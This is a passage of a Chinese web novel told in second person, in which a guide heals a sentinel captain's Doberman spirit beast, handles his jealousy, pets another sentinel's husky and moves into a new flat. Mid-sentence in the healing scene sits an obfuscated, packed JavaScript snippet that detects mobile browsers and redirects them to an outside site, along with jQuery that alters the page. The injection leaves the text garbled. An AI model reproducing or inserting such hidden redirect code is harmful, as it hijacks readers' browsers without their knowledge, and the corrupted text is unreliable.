你的精神力拂过那陈旧的伤痕，传递着纯粹的抚慰，而非评判。 你清理和探查精神图景时，可以说得上是动作粗暴，但抚慰仿若灵兽一般的精神兽时，却忍不住轻柔怜惜。 这点差别对待，你自己尚未意识到，却被杜宾犬敏锐到全盘接收到了精神抚慰的温暖和深深的怜惜。 明明被温柔对待，杜宾犬却呜咽一声，身体抖得更厉害。 像是终于找到了一个能理解、能包容自身痛苦的存在。 陆烬在现实中猛地吸了一口气，紧闭的双眼眼睫剧烈颤抖，下颌线绷得死紧，仿佛在承受着凌迟般的痛苦。 精神图景中，与自己部分通感的量子兽沉溺在向导的温柔抚慰中，享受到似乎每根毛发都在战栗个不停。 而现实中，他放在扶手上的手，却只能克制的把指关节捏得发白。 你的精神触角小心地探向那最麻烦的断尾处。暗金色的污染脓痂如同活物般蠕动，死死吸附在扭曲的神经瘤上，每一次搏动都向杜宾犬和陆烬本体传递着难以忍受的刺痛和烦躁。 “麻烦大了。”你皱紧眉头，声音在寂静的治疗室里响起，“断尾处从一开始就没处理好。能量脉络扭曲，神经瘤丛生，这才是你精神图景深处‘失控’隐患的真正根源。圣所的污染，不过是点燃了这堆早就埋好的干柴。” 你直接说出结论：“最佳的方案，是‘断尾重生’。彻底粉碎这个扭曲的旧结构，让尾椎的能量脉络重新生长，恢复它原本应有的样子。” “别人或许做不到，但无论你对白塔的贡献，还是……” 还是陆家呼声最高的继承人的身份…… 你顿了顿，继续说道：“无论从资源供给，还是自身能力来说，这个方案对你来说，不难做到。” “只有根除了这个病灶，才能真正治好你精神图景失控的顽疾，圣所的污染自然也能迎刃而解。否则，无论清理多少次表面的污染，都只是治标不治本。” 断尾重生？！ 陆烬的身体剧烈一震，猛地睁开了眼！ 深棕色的瞳孔里翻涌着惊涛骇浪，震惊、难以置信、甚至一丝隐秘的恐惧！断尾重生？恢复原本的样子？这无异于要将他从小到大、被家族、被“标准”强行塑造和压抑的一部分彻底撕裂、重塑！ 这比圣所的污染更让他感到恐慌！ “不……”他声音嘶哑得厉害，带着一种濒临崩溃边缘的脆弱，“不能……这是……规则……” “规则？”你挑眉，毫不客气地打断他，指尖依旧点在他眉心，精神力稳定地输送着抚慰，压制杜宾犬因主人剧烈情绪而产生的躁动，“让你痛苦、让你失控、让你连靠近自己想靠近的人都只能靠‘维修费’和‘协议’来掩饰的规则？陆队长，你自己想想，值不值得？” 你的话如同冰冷的锥子，狠狠刺破了他强行维持的冷静外壳。陆烬眼中的风暴瞬间变成了混乱的痛苦和迷茫。 他死死盯着你，嘴唇翕动，却发不出任何声音。 就在这时，他像是想起了什么，强行压下翻腾的情绪，用一种近乎生硬的转移话题方式开口，声音依旧沙哑：“……霍恩斯。圣所对他的处决……出来了。” 你指尖的力量微微一顿，但脸上没什么表情：“哦？与我无关。” 陆烬的目光紧紧锁着你的眼睛，仿佛要穿透那层懒散的伪装。他清晰地捕捉到你精神触角那一瞬间极其细微的凝滞，以及杜宾犬传递来的、一丝极其微弱却真实存在的情绪波动——并非全然的不在乎。 “他托我带一句话给你。”陆烬的声音低沉下来，带着一丝不易察觉的试探和……他自己都未曾深究的涩意。 “不想听。”你干脆利落地拒绝，语气冷淡，“陆队长，专心治疗。你的‘根’比别人的闲话重要多了。” 陆烬的喉结艰难地滚动了一下。他看出来了，你并非真的“不想听”，只是……在抗拒。 抗拒与霍恩斯、与那段牵扯过深的过往再有瓜葛？还是抗拒……别的什么？理智告诉他，此刻应该闭嘴，利用你的抗拒，避免眼前这个人再想起别的哨兵。 但心底那点阴暗的、卑劣的念头却蠢蠢欲动。 “话我带到了。”他最终只是垂下眼帘，掩去眸中翻涌的情绪，声音恢复了平板的陈述，“如果你什么时候想知道，随时可以来找我。” 答应霍恩斯帮他传话，一是看在同为白塔哨兵的份儿上，二是某种难以言喻的共情……毕竟、虽然有竞争，但都同样的被冷遇、被无视。 反正，他绝不会主动再说第二次。 治疗再次陷入沉默，只剩下精神图景深处能量冲刷和杜宾犬痛苦呜咽的无声交响。 陆烬承受着巨大的痛苦，身体在束缚带下无法控制地颤抖，汗水浸透了昂贵的衬衫，额角的青筋都爆了出来。但他死死咬着牙，除了压抑到极致的闷哼，硬是没有再做出任何“协议外”的举动。 那份强大的意志力，让你都忍不住在心里啧了一声。 然而，痛苦累积到了某个临界点。当你的精神触角尝试着剥离一小片污染最轻的神经瘤时，反馈到陆烬本体的剧痛如同海啸般淹没了他！ “呃啊——！”他终于控制不住，发出一声短促而痛苦的嘶吼，身体猛地向上弹起又被束缚带狠狠勒回！深棕色的眼眸瞬间布满了血丝，看向你的眼神充满了被极致痛苦逼出来的、赤裸裸的疯狂渴求！ “邵音……”他声音破碎，带着一种抛弃所有自尊的祈求，每一个字都像是从灵魂深处挤出来的血沫，“碰碰我……求您……鞭打也好……匕首也好……禁锢也好……请……让我能感受到……你……” 那双总是冷静自持的眼睛里，此刻只剩下被痛苦和渴望彻底撕裂的脆弱与卑微。他像一头濒死的困兽，抛弃了所有的骄傲和规则，只为祈求主人的一丝垂怜，哪怕那垂怜是带着疼痛的烙印。 你的心，像是被什么东西狠狠攥了一下。 隐恻之心？ 或许有一点。但更多的是对这份沉重情感的……烦躁和棘手。鞭打？匕首？ 你又不是变态！怎么这些哨兵总是求你当个变态？！那鸟人就不说了，一看就不正常。 你精挑细选的三个VIP客户，除了积分资本雄浑之外，都是自制力好得出奇的。陆烬自然也是佼佼者，他偶尔会祈求你，但很快会恢复清醒并且道歉。 所以，如同以往一样，你沉默地看着他，看着那双被血丝和绝望充斥的眼睛，看着那只在你精神图景中因主人剧痛而蜷缩哀鸣的杜宾犬。 几秒钟的静默，仿佛一个世纪那么漫长。 最终，你叹了口气，收回了点在他眉心的手指。 陆烬眼中的光芒瞬间黯淡下去，只剩下死寂的灰败。果然……还是不行吗…… 然而，你却在他彻底绝望之前，开口道：“陆队长，我有个别的方案。风险更高，但……或许能让你好受一点。” 陆烬灰败的眼中骤然爆发出难以置信的光芒！ “让你的精神体，”你指了指那只痛苦蜷缩的杜宾犬，“暂时进入我的精神图景。通过量子兽与主人之间的深度共感，以及……伤害承担。由我的精神图景分担一部分净化过程中的冲击和痛苦。” 这相当于把你的精神世界暂时开放给他精神体的核心部分，风险不言而喻。但对于陆烬来说，却更是危险。 相当于把主权交付的存在。 然而，陆烬几乎没有任何犹豫，沙哑地吐出两个字：“同意！”似乎只要能靠近你，什么风险他都愿意承担！ 你不再多言，闭上眼，主动敞开了自己精神图景的入口——那片幽静葱郁、生机盎然的峡谷。 杜宾犬感应到召唤，强忍着剧痛，毫不犹豫地化作一道凝实的黑色流光，瞬间投入了那片温暖的绿色之中！ 现实中的陆烬身体猛地一颤，随即像是卸下了千斤重担，紧绷的身体缓缓放松，剧烈起伏的胸膛逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085684|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐平复。虽然痛苦并未完全消失，但大部分最尖锐的撕裂感被转移了，取而代之的是一种奇异的、如同浸泡在温润泉水中的舒缓感，还夹杂着峡谷里清新草木的气息……那是属于邵音的气息。 他深深吸了一口气，贪婪地汲取着空气中残留的、若有似无的向导素，闭上了眼，眉宇间是前所未有的放松和……沉迷。 而在你的精神图景中。 威严的杜宾犬第一次踏入这片生机勃勃的峡谷，显得有些无措。溪谷的微风拂过它被修剪得过分凌厉的耳尖，带来一丝陌生的清凉和……痒意？它下意识地抖了抖耳朵。 你具象化的精神体只是一个模糊的光影，出现在它面前，没有多余的话语，直接引导它走到溪边。清澈的溪水蕴含着风水木的本源力量，温柔地包裹住它断尾处那狰狞的伤口和暗金污染。 “可能会有点疼，忍着点。”光影低语。 净化开始了。溪水的力量温和却不容抗拒地冲刷着扭曲的神经瘤和污染。杜宾犬的身体瞬间绷紧，喉咙里发出压抑的呜咽。但与在陆烬自己图景中那种撕裂灵魂的剧痛不同，这里的痛苦仿佛被峡谷的生命力柔化了，虽然依旧尖锐，却带着一种被包容、被分担的感觉。它甚至能清晰地感觉到，一部分痛苦顺着与主人的链接被转移了出去，但大部分冲击，却被这片温暖坚韧的峡谷大地无声地吸收了。 光影的手轻轻落在它的头颅上，避开那修剪过的耳尖，缓慢而有力地揉捏着它颈后厚实的皮毛。那动作带着纯粹的安抚，没有任何评判或怜悯。 “阿灰，”光影忽然开口，叫出了一个从未有过的名字，“叫你阿灰、可以吗？” “似乎，在我这里”那光影轻笑，“叫品种名不太礼貌。” 汪、呜~~~~ 杜宾犬猛地抬起头。 阿灰？是在叫它？ 从来没有人……这样叫过它。它迫不及待的呜呜叫着，表达着同意和欣喜。 “放松在溪谷中玩耍一会儿吧”那光影又笑着说，“不用担心，在我的精神图景中，有自然的屏蔽，你与陆烬的共感联系是最微弱的。” “你不用担心，被斥责。” “你不用担心……” “不做一个‘好狗狗’，也没关系的。” 絮絮叨叨的话，随着峡谷中雾气的飘散抚慰着它，滋润着它。 杜宾犬深棕色的兽瞳里充满了震惊和茫然，一时之间，脱离主人身边的精神兽，属于人的分辨理性远离，最原始的本性占据上风，它艰难的思考着，在陆家，它只是“烬少爷的精神体”，一个必须符合标准的“工具”。 好狗狗？它只知道服从命令，守护主人，压抑本能……什么是“好”？什么又是“没关系”？ 那揉捏在颈后的温暖力量，和那句石破天惊的话语，像一道微弱却坚定的光，骤然刺破了它精神世界深处厚重的、名为“规训”的阴霾。一种陌生的、酸涩又滚烫的情绪瞬间涌上它的心头，让它喉咙里的呜咽都带上了颤音。 它不由自主地将头颅更深地埋进光影的臂弯里，汲取着那份前所未有的、不带任何条件的包容。 峡谷的溪水潺潺，冲刷着伤痕，也冲刷着深埋的枷锁。 * 治疗结束，杜宾犬恋恋不舍地离开了那片温暖治愈的峡谷，回到陆烬的精神图景。虽然断尾处的神经瘤和污染并未根除，但那种蚀骨的刺痛和烦躁感明显减轻了许多，暗金色的污染也淡去了一层。 更重要的是，它的精神核心似乎被注入了一丝难以言喻的平静力量。 现实中，束缚带解开。 陆烬缓缓坐起身，感受着前所未有的轻松。身体的疲惫还在，但精神深处那根一直紧绷的、让他时刻处于失控边缘的弦，似乎……松动了。 他下意识地看向正在收拾治疗箱的你。 峡谷的气息仿佛还萦绕在鼻尖，精神体传递来的那份深刻的、被温柔包容的悸动感尚未平息。 他突然间就明白了。 为什么表面上看起来，霍恩斯和他们一样，都保持着一个月一次的“固定疏导”频率。 可既然是这样的治疗方式——开放精神图景，让精神体进入那片神奇的峡谷，通过共感与分担来抚平最深层的创伤……这种程度的链接和信任，怎么可能仅仅维持一个月一次的频率？！ 毕竟越是强大的哨兵，量子兽能脱离自身的距离和时间就能越久，而邵音她……向来只对量子兽温柔，对精神体的本人总是冷淡又疏离。 霍恩斯那个混蛋！他肯定……他肯定在私下里，享受着远超他们所有人的、频繁而深入的“治疗”！他凭什么？！ 一股强烈的、被欺骗和被忽视的妒火，毫无预兆地、猛烈地冲垮了陆烬刚刚获得的平静！三年！他恪守着可笑的“无接触协议”，像个傻子一样用积分堆砌着遥远的距离，尽管、尽管他愿意亲手奉上所有个人积分和家当，甚至不奢求一个专属的疏导身份，但前提是，对方愿意接受！类似这次这样，他愿意奉上百倍积分，但只会把本就警惕的小向导吓跑。 十倍、不多不少，丈量着阿音愿意费心收治的程度。 他压抑着所有本能靠近的渴望，自以为遵守规则就能赢得一丝青睐……结果呢？在别人那里，早就偷跑了不知道多少步了？明面上的规则就是个屁！ 在他不知道的夜晚，那只死豹子有多少次偷偷跑去找眼前这个向导去索求这样甜美的‘安抚’？！ 有多少次？！ 怕是、数都数不清。 他死死盯着你忙碌的背影，牙根咬得咯咯作响，那股熟悉的、混合着松木冷香与暴戾的躁动气息再次不受控制地弥漫开来。强烈的嫉妒和不甘烧灼着他的理智，让他冲口而出，声音低沉沙哑，带着自己都未曾察觉的、浓得化不开的酸意： “您……过分偏爱霍恩斯了。” 你正把一支空了的安抚剂瓶子丢进回收箱，闻言动作一顿，有点没反应过来，疑惑地回头：“嗯？我偏爱什么？” 14. 黏人狗狗 * 偏爱？ 为什么怎么说？你很疑惑。 陆烬的声音并不大，每一个字你也都听懂，但在这种场景下，这几个字连在一起，却让你完全搞不明白意思。 你转身，歪头困惑的打量着此刻正颤抖着手，尽力维持着表面情绪稳定的陆大队长。 你知道他在说霍恩斯。 还可笑的不由得拿自己与霍恩斯比较起来了。 要知道，虽然两人同样是‘队长’，可与类似于霍恩斯这样、诸多特勤战力小队不同的是，白塔的护卫队承担了白塔本部的所有防御职责，若不是天枢十二区律令禁止白塔拥有军队，白塔护卫队应该被称作‘护卫军’才对。 只不过就陆烬统御下的战力规模而言，也没甚区别了。况且，陆家是天枢十二区兵力最强的势力之一，出生名门嫡支的陆烬来到白塔担任队长，只是这个废土世界天龙人履历刷新的常规操作罢了。 当然，客观的说，他来到白塔担任队长的这八年来，实力强横、众望所归。甚至连出身中央海陆家的天龙人身份，都是在你来到白塔没多久之后，才意外爆冷出来的。 他很低调、并没有仗着身世胡作非为。这在废土世界‘只看生存、不看道德’的主流风气之下，迥然是一股清流。这也是你认同他，再三考虑之后，愿意与之缔接长期‘医患关系’的最主要原因。 而你犹豫的根本，就是陆烬这人，无论是自身能力、家世背景，还是背后牵涉的复杂因果，明晃晃的、是你避之唯恐不及的那类剧情人物，板上钉钉会与剧情主角产生深度羁绊和纠缠的角色。 但是让你冒着惹上一堆麻烦的风险，也要把他签订成固定VIP客户的原因，自然还是——对方积分多的手烫啊。 这就是—— 你我本无缘，全靠你有钱。 啊不，全靠汪汪队长积分多、资源强、背景深厚啊，对当时处在一堆麻烦中的你而言，这样的大腿直接伸过来，要让你借势依靠，你不打蛇随棍上，才纯属脑子有坑。 * 而就是这样一个过分正直、过分规矩、又过分强大、且积分捧在手里烧得慌的汪汪队长。 此刻却在你一脸疑惑茫然的表情下，溃不成军。 “你刚才说谁？不好意思，有点没听清。” “没、没什么？” 被你这么反问了一句，陆烬的一腔妒火像是被戳了个洞，瞬间漏了气，只剩下满满的狼狈和无处发泄的憋闷。 你耸耸肩，转身继续收拾整理，你拿出测量追踪的医疗仪器，公事公办的走到他身前，替他整理好崩开的衬衫纽扣，然后皮下植入纳米的测量仪器。 毕竟是更换了全新的治疗方案，你非常有医德的、按工作流程记录追踪此后十五天的身体数据变化。 你公事公办的忙活着、并且絮絮叨叨的叮嘱着注意事项。 陆烬却别开脸，耳根再次泛起可疑的红晕，声音闷闷的，带着点自暴自弃的别扭： “……您会更喜欢猫科吗？” 不过，一问完，他就露出了一脸后悔的神色。 这样的口吻、简直像争宠的小孩子！ 你瞪大了眼睛，简直不敢相信是从陆烬嘴里听到这样的话，又看了看眼前这个别扭又强大的哨兵队长，难得地，真心实意地弯起了嘴角。 于是，你退后了几步，隔着一段安全的距离，像安抚大型犬一样，对着空气做了个顺毛的动作，语气带着点哄劝的笑意： “怎么会？我也很喜欢阿灰啊。” 你的目光似乎穿透了他，落在他精神图景中那只刚刚被命名为“阿灰”的杜宾犬身上。 陆烬的身体猛地僵住！阿灰……她叫它阿灰？！她记得！她甚至给它取了名字！不再是“陆队长的精神体”，而是……阿灰！一股难以言喻的、混杂着狂喜、酸涩和巨大满足感的暖流瞬间冲垮了他所有的妒火和憋闷，让他大脑一片空白，难得露出一副呆滞的神情。 而此刻，在你精神图景的峡谷溪边，那只威严的杜宾犬仿佛也感应到了什么，猛地抬起头，朝着虚空的方向，发出了一声悠长而带着明显愉悦情绪的、低沉的“汪呜”！尾巴……如果它还有尾巴的话，此刻一定会像螺旋桨一样甩起来！ 你看着陆烬那副呆愣的模样，笑了笑，没再说什么，拎起治疗箱：“好了，陆队长，今天的‘维修’到此结束。按时注射药剂，下次见。” 说完，你毫无留恋的地转身离开，留下一个心绪翻腾、久久无法回神的哨兵队长，和他精神图景里那只第一次拥有了名字、正兴奋地原地转圈的杜宾犬“阿灰”。 * 逃离了治疗室那复杂又沉重的氛围，你只想找个地方喘口气。食堂是暂时不想去了，于是你晃悠到了相对清净的C区休闲露台。这里有几张藤编桌椅，视野开阔，能看到远处白塔能量罩外荒凉的景色。 刚找了个角落的位置坐下，一个充满活力的声音就像小太阳一样凑了过来： “邵音姐姐！好巧啊！你也来这里躲清静？”宋梁端着一杯热气腾腾的合成可可，笑容灿烂地在你对面坐下，两颗小犬牙闪闪发亮。他换下了作训服，穿着一件柔软的浅灰色连帽卫衣，看起来更像个人畜无害的大学生了。 “嗯。”你懒懒地应了一声，对他这种无处不在的“偶遇”习以为常。 “姐姐辛苦了！”宋梁把手里另一杯没动过的可可推到你面前，“刚看你去给……唔，给我小舅舅做治疗了？他那人规矩多又死板，肯定很麻烦吧？来，喝点热的暖暖！” 你瞥了一眼那杯散发着甜香气息的可可，没动。上次的“大白”挡雨服务让你印象深刻，但陆烬那句“小舅舅”和宋梁当时的眼神，让你本能地对这个过分热情的“大侄子”多了一层警惕。 “还好。”你敷衍道。 宋梁也不在意你的冷淡，自顾自地喝了一口可可，满足地眯起眼，像一只被太阳晒得发懒的大狗狗。然后他像是想起了什么，眼睛一亮：“对了姐姐！大白最近可想你了！老是叼着上次你给它梳毛的梳子到处转悠！能让它现身吗？我保证它乖乖的，不吵不闹！” 毛茸茸的诱惑……尤其是那只手感绝佳、自带避雨功能的白化哈士奇……你的意志力开始动摇。 看着你眼神里的松动，宋梁立刻打蛇随棍上，双手合十，眨巴着那双清澈无比的大眼睛，带着点撒娇的意味：“求你了姐姐~就一会儿！大白看不到你，最近训练都不积极了！可怜可怜孩子吧！” 最终，对毛茸茸的热爱战胜了那点微不足道的警惕。你点了点头。 宋梁立刻咧嘴一笑。很快，一道熟悉的银白色身影如同旋风般出现在露台！ “大白！”宋梁笑着唤了一声。 体型巨大的白化哈士奇目标明确，无视了自己的主人，欢快地直奔你而来！它熟练地在你脚边转了个圈，然后前肢一搭，硕大蓬松的脑袋就亲昵地搁在了你的膝盖上，冰蓝色的圆眼睛湿漉漉地望着你，尾巴摇得呼呼生风，喉咙里发出撒娇般的呜噜声。 “大白！”你惊喜地叫了一声，瞬间被这热情的毛茸茸攻势俘获，什么陆烬什么麻烦都抛到了九霄云外。你伸出手，毫不客气地揉上了它脖颈处那圈最厚实柔软的鬃毛！ 入手的感觉——冰凉顺滑，蓬松得像最顶级的云朵！指尖深深陷入那丰厚的长毛里，温暖的大狗体温透过掌心传来，伴随着它满足的呼噜声，简直是最顶级的治愈！你忍不住把脸也埋进去蹭了蹭，深深地吸了一口……嗯，是大狗狗干净的、带着阳光味道的气息，宋梁显然把它打理得很好。 大白舒服得眯起了眼，干脆整个上半身都趴在了你腿上，厚实温暖的胸膛紧贴着你的小腹，毛茸茸的大尾巴有一下没一下地扫着你的小腿。它甚至伸出粉红的舌头，小心翼翼地舔了舔你的手背，湿漉漉、凉丝丝的。 “小坏蛋，有了姐姐就不要主人了？”宋梁在一旁酸溜溜地控诉，但脸上却是 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你撸毛的动作没停，头也没抬，含糊地应道：“还好，老毛病了，慢慢来。”你不想多谈陆烬的伤势，更不想涉及他那深埋的“根”的问题。 宋梁的目光闪了闪，脸上的笑容依旧灿烂，但眼底深处掠过一丝探究。他换了个姿势，趴在桌子上，下巴枕着手臂，仰着脸看你，那姿态像极了此刻你腿上撒娇的大狗。他放软了声音，带着点天真和不易察觉的试探： “那……姐姐喜欢什么样的精神体啊？大白这样的，是不是比某些冷冰冰、硬邦邦的可爱多了？”他意有所指，显然暗指陆烬那只威严的杜宾犬。 你正沉迷于大白后颈那块手感绝佳的软毛，闻言随口敷衍：“嗯嗯，都可爱。”这时，露台栏杆外恰好路过一只通体雪白、优雅踱步的量子兽波斯猫。你的目光不由自主地被吸引了过去，多看了两眼。啊，猫科！优雅！慵懒！虽然不如大型犬好rua，但别有一番风味…… 宋梁顺着你的目光看去，脸上的笑容淡了一瞬。他伸出手，指尖轻轻挠了挠大白在你腿上摊开的下巴，声音放得更轻，带着一丝不易察觉的甜腻和……执拗： “姐姐，”他唤你，冰蓝色的眼睛在阳光下像剔透的玻璃珠，倒映着你的身影，专注得仿佛你是他的全世界。他微微歪头，露出那颗尖尖的小犬牙，语气是撒娇，却也带着某种不容错辨的确认： “我比那只猫可爱，对吧？” 大白似乎也感应到了主人的情绪，在你腿上蹭了蹭，发出依赖的呜咽，冰蓝色的瞳孔深处，一抹极其细微的、针尖般的暗红幽光，等你想一探究竟的时候，却又一闪而没。 你敷衍：“都可爱，都可爱。” 这是你的真心话。 对你而言，在这个世界，这些漂亮的猫猫狗狗豹豹兔兔的毛茸茸……身为量子兽的它们，最大的优势就是，撸起来不掉毛，玩起来不负责，还不用亲自养，也不用做窝，最多花费一点点精神力去滋养它们，简直是用来打发这个无聊世界的完美娱乐对象！ 这些量子态的精神体们都可爱得不得了。 前提是，与它们精神感应相通的主人，不要那么过分黏人就好了。只要这些主人能控制住自己，如同现在这样，你还是非常乐意去Rua一Rua的。 只要你Rua得高兴了，也非常愿意稍微费点心力去哄一哄的，比如此刻—— 宋梁那拼命压抑却仍然泄露出来的酸苦味道，使得大白的毛都变得糙硬了起来，尽管这小孩紧绷着唇角，笨拙的克制着自己。 让你看了，还暂时生不出被冒犯的心思，只觉得这点小心思还算可爱。 于是，你笑眯眯的揉了揉大白的耳朵，享受着那绝妙的触感，温柔的话就不由自主的说了出来：“当然，还是现在的大白最可爱了。” 那小孩红了耳朵，可可豆那种甜滋滋的味道就飘散在空气中了。 这、算是哄好了吧。 15. 黏人狗狗 * 时间如指间流沙，悄无声息地溜走了。 一个月过去了。 陆烬的治疗进展不错，期间当然也有事后的‘安抚综合症’，但怎么说呢，果然不愧是你的精挑细选才固定下来的优质客户，汪汪队队长那令人赞叹的忍耐力和服从度一如既往的高。 在你第三次冷着脸把呜呜哀鸣的杜宾犬关在宿舍门外之后，陆烬也就放弃了通过量子兽‘曲线救国’的想法。 唔，说放弃有点不太恰当。 毕竟，你宁愿丢了这个客户，也不愿意惹上那种黏糊糊的情感麻烦，陆烬无疑是懂得的。 对于他的‘懂得’和‘识时务’，你很满意。 因此、再三评估后，对于这段主客的积分雇佣关系，你依旧十分敬业的保持着日常的维护关系。 不过，这一轮边界防守，还是费了你不少心力，总算将两人随时可能‘越线’的危险关系，重新稳定在了‘治疗向导’与‘患病哨兵’之间充满公式化与客气的距离。 至少，在你单方面的定义里，是这样。 至于陆烬怎么想？内心那些翻江倒海的暧昧不清，那些被强行压抑下去的渴望和失落？ 那是他的个人事务，不在你的考虑范围内。 同情哨兵会不幸的。 尤其是对那些强大的‘男性’哨兵生出同情之心。 你牢牢的记得这个世界的行事准则。 也希望剧情线正式开展后，那些女性主角们，能够记得。 这会让你免除很多维护剧情的麻烦~~ 另一边，那个总带着阳光灿烂笑容、像只热情大型犬般试图黏上来的宋梁，似乎接到了某个需要远距离外出的新人历练任务。不能经常偶遇那只毛茸茸的白化哈士奇，还让你颇有点不习惯。 特别是那圈蓬软的颈毛，深埋进去还有阳光的味道，像整个人陷入云朵一般。 唉，毛茸茸的戒断反应，真是可怕。 不过嘛，天无绝人之路。 新区工程队那边发生了一场严重的工程事故，导致多名哨兵精神图景受创，不得不向白塔紧急求援，申请群体疏导。你区区一个C级，能匹配疏导几个B+哨兵已经是极限中的极限了。正好借着这次向导小队被临时抽调支援的机会，你火力全开，提前刷满了整整一个半月的核定任务指标！效率之高，连地中海秃头领导都破天荒地夸了你一句“小邵最近很上进嘛”。 当然咯，在这次的群体疏导项目中，那些B+的工程哨兵们虽然没有毛茸茸的精神体供你Rua来Rua去，但你意外品味到了饲养无毛‘异宠’的好处，比如一只可爱的穿山甲，戳戳它的腰腹会整个‘宠’害羞的蜷缩起来~~再比如一条萌萌哒的火焰工程蜥，在治疗过程中过于激动还会掉落粉色的鳞片……真是可爱极了。 虽然没有Rua毛茸茸那种吸嗨了的触感，但是冰冰凉的鳞甲类哨兵精神体，也别有一番风味，你忙碌得十分的开心。 愉快的忙碌持续了一周。当任务完成的提示音在个人终端响起时，你长长地、满足地伸了个懒腰。接下来，便是长达半个月的、无人打扰的、神仙般的休假时光！ 无人打扰，真爽！ 你立刻将全副精力投入到了心心念念的大事上——完成你那套位于白塔二十九层豪华住宅区的大平层的最终购买手续，以及各种令人眼花缭乱的装修方案抉择。 要知道，白塔住宿区高层住宅，尤其是二十五层以上，向来是稀缺资源，属于特权中的特权。不仅需要靠积分和人脉去“抢”名额，后续的积分担保、天价维修基金、令人咋舌的月供积分配比，以及层层叠叠、繁琐到令人抓狂的审核手续，足以让大部分向导望而却步。 在被霍恩斯队里那两个胆大包天的A+小崽子掳走之前，你刚用攒了许久的积分和一点小小的“运气”，险险抢到了这套看中已久的大平层购买名额，后续的手续根本没来得及启动，各种琐事纷至沓来。 这下好了，你打算在这半个月的休假中，把这些事都搞定，最好也能把装修给搞定了。 特别是，无所事事的你花了一周，终于跑完各种流程，当那枚象征着二十九层住宅专属权限的、泛着幽蓝色冷光的电子钥匙卡落入掌心时，你感觉整个人都升华了。 第二周，你更是屁颠屁颠地投入了室内软装的伟大事业中。凭借着实用主义精神，你高效地敲定了整体风格（慵懒舒适风）、家具定制（强调躺平功能）、以及最重要的——全屋智能管家系统的配置方案。 当最后一台负责清洁和基础安保的履带机器人完成初始化，嗡嗡地在光洁如镜的地板上滑过时，你终于，正式入住了这套位于白塔二十九层的、视野绝佳、装潢一新的豪华大平层！ 更棒的是！还有一个由入户露台改装的温泉泳池！ 你可以落雪时，泡在温泉中喝酒看废土飘雪~~在天晴时，看赛博卫星划破长空~~~ 只不过，防窥视的单面晶体落地弧形窗的安装，还需要一些额外的积分，不过你已经在积极的赚钱了，相信过不了几个月，就能安装上！享受到！ 你深吸一口气，给自己倒了一杯热可可。 俯视着整个白塔内外的壮阔景象。 巨大的落地窗外，是白塔能量罩外苍茫辽阔的废土荒漠，夕阳的金辉为荒凉的大地镀上一层悲壮的暖色。 室内，恒温恒湿，空气清新，智能灯光柔和地洒落。你脱掉鞋、赤脚踩在柔软的长绒地毯上，满足地喟叹一声： 这TMD才是你该过的日子啊~ 就算是在废土世界观中苟命，也得稍稍讲究一下生活质量嘛！ * 在正式搬迁前，还有一些人情世故要处理。 首先，你精心挑选了一批符合白塔内部流通标准的实用小礼物——高级营养液口味包、限量版合成植物盆栽、甚至还有几块据说能提升精神屏障稳定性的能量晶石。全都送给了旧宿舍楼里几个关系还不错的左邻右舍。 你没有彻底退掉旧宿舍，毕竟一年只需象征性地支付一个积分，就能保留随时回去摸鱼或避难的权利，何乐而不为呢？ 收到礼物的人反应各异。 有真心为你高兴、送上祝福的；也有眼神复杂、话语间忍不住冒酸水，阴阳怪气讽刺你“C级向导也住上二十九层了？真是好手段”的…… 对此，你一概笑眯眯地照单全收，完全不去计较。 搬入新家的当晚，你只邀请了一位朋友前来庆祝并“暖屋”。 说实话，发出邀请前，你还真有点忐忑。毕竟这位傲娇的朋友，此刻正单方面宣称与你处于“绝交”状态中。 门铃响了，你刚把最后一道热气腾腾的肉排端上餐桌。 拉开门。 门外，脸蛋漂亮的少年向导，正臭着一张脸，翻着一双死鱼眼对着你，仿佛谁欠了他几百万积分一样。他手里倒是没空着，别扭地拎着一束……呃，用废弃能量管和坚韧的变异藤蔓捆扎成的、造型相当后现代抽象的“花束”，里面插着几支在废土实验室里培育出来的紫色小花。 还有一瓶不知道能不能喝的古董红酒。 “拿着！”白鸮把花束和酒都粗鲁地塞进你怀里，力道大得差点让你后退一步。随后，他毫不客气地挤进门，挑剔的目光在新房子里扫视了一圈。 “啧，这装修品味……果然是你的风格。”他撇撇嘴，血珀色的眼眸里满是嫌弃，“懒人沙发堆得到处都是，窗帘颜色丑得像污染区的泥浆，还有这地毯……”他用脚尖嫌弃地碾了碾脚下柔软的长绒，“铺这么厚，是打算在上面瘫到天荒地老吗？毫无格调！浪费积分！” 毒液喷洒完毕，他目光落到空荡荡的客厅和餐桌上，嘴角勾起一个更加讽刺的弧度：“呵，还暖屋party？人呢？邵音，你的人缘真是差到连只量子兽都不愿意来捧场？” 你早已对他的毒舌免疫，笑眯眯地捧着那束颇具“废土艺术感”的花，找了个还算顺眼的瓶子插上。对于他的嘲讽，你半点不恼，反而顺着毛捋，语气真诚得能掐出水来： “哎呀，莺莺~你又不是不知道我，最怕人多热闹了。暖屋嘛，心意到了就行。再说了，”你凑近一点，眨眨眼，压低声音，“最好的朋友，有你一个就够了呀！其他人来了，吵吵闹闹的，有什么意思？” 这招“甜言蜜语”显然正中红心。白鸮那张洋娃娃般精致的脸蛋上，虽然极力维持着“我很不爽”的表情，但耳尖却以肉眼可见的速度染上了一层薄红。 他冷哼一声，别开脸，语气依旧硬邦邦：“……谁是你最好的朋友！不准叫我莺莺！” 但周身那原本带着火药味的、如同燃烧雪原般的向导素，肉桂混合着硝烟的气息，却悄然发生了一丝变化——硝烟味淡去，肉桂的暖意呈现，沁出了一缕难以言喻的、轻甜的柑橘香调，丝丝缕缕地弥漫在空气中。 你心下暗笑，知道警报暂时解除。 拉着他走到餐桌旁：“来来来，尝尝我的手艺！虽然比不上塔里的大厨，但食材是绝对‘邵音严选’的！” 接下来的几个小时，气氛出乎意料地融洽。 